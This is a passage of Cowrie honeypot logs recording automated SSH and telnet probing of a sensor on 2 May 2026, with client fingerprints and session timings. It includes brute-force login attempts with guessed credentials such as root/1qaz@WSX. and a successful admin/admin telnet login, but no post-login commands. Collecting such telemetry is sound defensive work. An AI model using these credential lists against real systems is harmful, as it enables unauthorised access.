{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":39544,"dst_ip":"10.17.0.5","dst_port":22,"session":"449d5124d8c3","protocol":"ssh","message":"New connection: 96.78.175.36:39544 (10.17.0.5:22) [session: 449d5124d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:27.412916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:27.421426Z","src_ip":"96.78.175.36","session":"449d5124d8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:27.504405Z","src_ip":"96.78.175.36","session":"449d5124d8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX.","message":"login attempt [root/1qaz@WSX.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:27.858670Z","src_ip":"96.78.175.36","session":"449d5124d8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:28.954472Z","src_ip":"96.78.175.36","session":"449d5124d8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.369171142578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:31.082453Z","src_ip":"161.132.53.68","session":"600be8180544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":64942,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c9d94c9cec","protocol":"ssh","message":"New connection: 103.149.252.223:64942 (10.17.0.5:22) [session: d9c9d94c9cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:32.703906Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:32.707855Z","src_ip":"103.149.252.223","session":"d9c9d94c9cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:32.711002Z","src_ip":"103.149.252.223","session":"d9c9d94c9cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":37708,"dst_ip":"159.203.135.109","dst_port":22,"session":"f02ce8fa1c8b","protocol":"ssh","message":"New connection: 165.154.6.69:37708 (159.203.135.109:22) [session: f02ce8fa1c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:38.330101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:38.335500Z","src_ip":"165.154.6.69","session":"f02ce8fa1c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:38.559422Z","src_ip":"165.154.6.69","session":"f02ce8fa1c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2026","message":"login attempt [root/2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:39.446014Z","src_ip":"165.154.6.69","session":"f02ce8fa1c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.143960952758789,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:39.795469Z","src_ip":"5.104.61.7","session":"9a96b8632e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:40.663168Z","src_ip":"165.154.6.69","session":"f02ce8fa1c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50350594520569,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:45.031119Z","src_ip":"161.132.53.68","session":"da6a69c89117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.242.39.51","src_port":38012,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4da85f47178","protocol":"telnet","message":"New connection: 47.242.39.51:38012 (159.203.135.109:23) [session: a4da85f47178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:50.767453Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2e00941887f","protocol":"telnet","message":"New connection: 161.132.53.68:55726 (159.203.135.109:23) [session: c2e00941887f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:51.686375Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.3.221.84","src_port":24679,"dst_ip":"159.203.135.109","dst_port":23,"session":"7486ea11c077","protocol":"telnet","message":"New connection: 103.3.221.84:24679 (159.203.135.109:23) [session: 7486ea11c077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:11.256650Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":57900,"dst_ip":"10.17.0.5","dst_port":22,"session":"26fb4563b5b3","protocol":"ssh","message":"New connection: 96.78.175.36:57900 (10.17.0.5:22) [session: 26fb4563b5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:20.636662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:20.643538Z","src_ip":"96.78.175.36","session":"26fb4563b5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:20.729926Z","src_ip":"96.78.175.36","session":"26fb4563b5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"michelle","message":"login attempt [user/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:21.085317Z","src_ip":"96.78.175.36","session":"26fb4563b5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:22.176772Z","src_ip":"96.78.175.36","session":"26fb4563b5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.662428379058838,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:22.918983Z","src_ip":"103.3.221.84","session":"7486ea11c077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.902449131011963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:23.588710Z","src_ip":"161.132.53.68","session":"c2e00941887f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":32930,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c2226f8950","protocol":"telnet","message":"New connection: 161.132.53.68:32930 (159.203.135.109:23) [session: 25c2226f8950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:23.596610Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":54516,"dst_ip":"159.203.135.109","dst_port":22,"session":"d99e4767d666","protocol":"ssh","message":"New connection: 165.154.6.69:54516 (159.203.135.109:22) [session: d99e4767d666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:32.050160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:32.055573Z","src_ip":"165.154.6.69","session":"d99e4767d666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:32.275259Z","src_ip":"165.154.6.69","session":"d99e4767d666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq123456.","message":"login attempt [ubuntu/Qq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:33.180949Z","src_ip":"165.154.6.69","session":"d99e4767d666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:34.403361Z","src_ip":"165.154.6.69","session":"d99e4767d666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce7d372af5f6","protocol":"telnet","message":"New connection: 161.132.53.68:51192 (159.203.135.109:23) [session: ce7d372af5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:53.140316Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c025152411","protocol":"telnet","message":"New connection: 104.245.105.2:49646 (10.17.0.5:23) [session: 53c025152411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:55.991379Z"}
{"eventid":"cowrie.session.closed","duration":35.195847272872925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:01:58.792347Z","src_ip":"161.132.53.68","session":"25c2226f8950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f5c24248490","protocol":"telnet","message":"New connection: 104.245.105.2:39030 (10.17.0.5:23) [session: 5f5c24248490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:04.868353Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":59936,"dst_ip":"159.203.135.109","dst_port":22,"session":"03c2f013d414","protocol":"ssh","message":"New connection: 45.148.10.152:59936 (159.203.135.109:22) [session: 03c2f013d414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:05.232351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:05.237257Z","src_ip":"45.148.10.152","session":"03c2f013d414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:05.321219Z","src_ip":"45.148.10.152","session":"03c2f013d414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:05.687219Z","src_ip":"45.148.10.152","session":"03c2f013d414","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:06.557416Z","src_ip":"47.242.39.51","session":"a4da85f47178","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:06.605164Z","src_ip":"47.242.39.51","session":"a4da85f47178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39046,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58c656882de","protocol":"telnet","message":"New connection: 104.245.105.2:39046 (10.17.0.5:23) [session: b58c656882de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:07.633576Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":42238,"dst_ip":"10.17.0.5","dst_port":22,"session":"611801ad1e3c","protocol":"ssh","message":"New connection: 96.78.175.36:42238 (10.17.0.5:22) [session: 611801ad1e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:14.141490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:14.168311Z","src_ip":"96.78.175.36","session":"611801ad1e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:14.246260Z","src_ip":"96.78.175.36","session":"611801ad1e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678!","message":"login attempt [root/12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:14.609919Z","src_ip":"96.78.175.36","session":"611801ad1e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e356a19d7d","protocol":"telnet","message":"New connection: 104.245.105.2:37424 (10.17.0.5:23) [session: b0e356a19d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:14.986103Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:15.705084Z","src_ip":"96.78.175.36","session":"611801ad1e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.936315298080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:24.076250Z","src_ip":"161.132.53.68","session":"ce7d372af5f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":51620,"dst_ip":"159.203.135.109","dst_port":22,"session":"07348178608f","protocol":"ssh","message":"New connection: 165.154.6.69:51620 (159.203.135.109:22) [session: 07348178608f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:27.846391Z"}
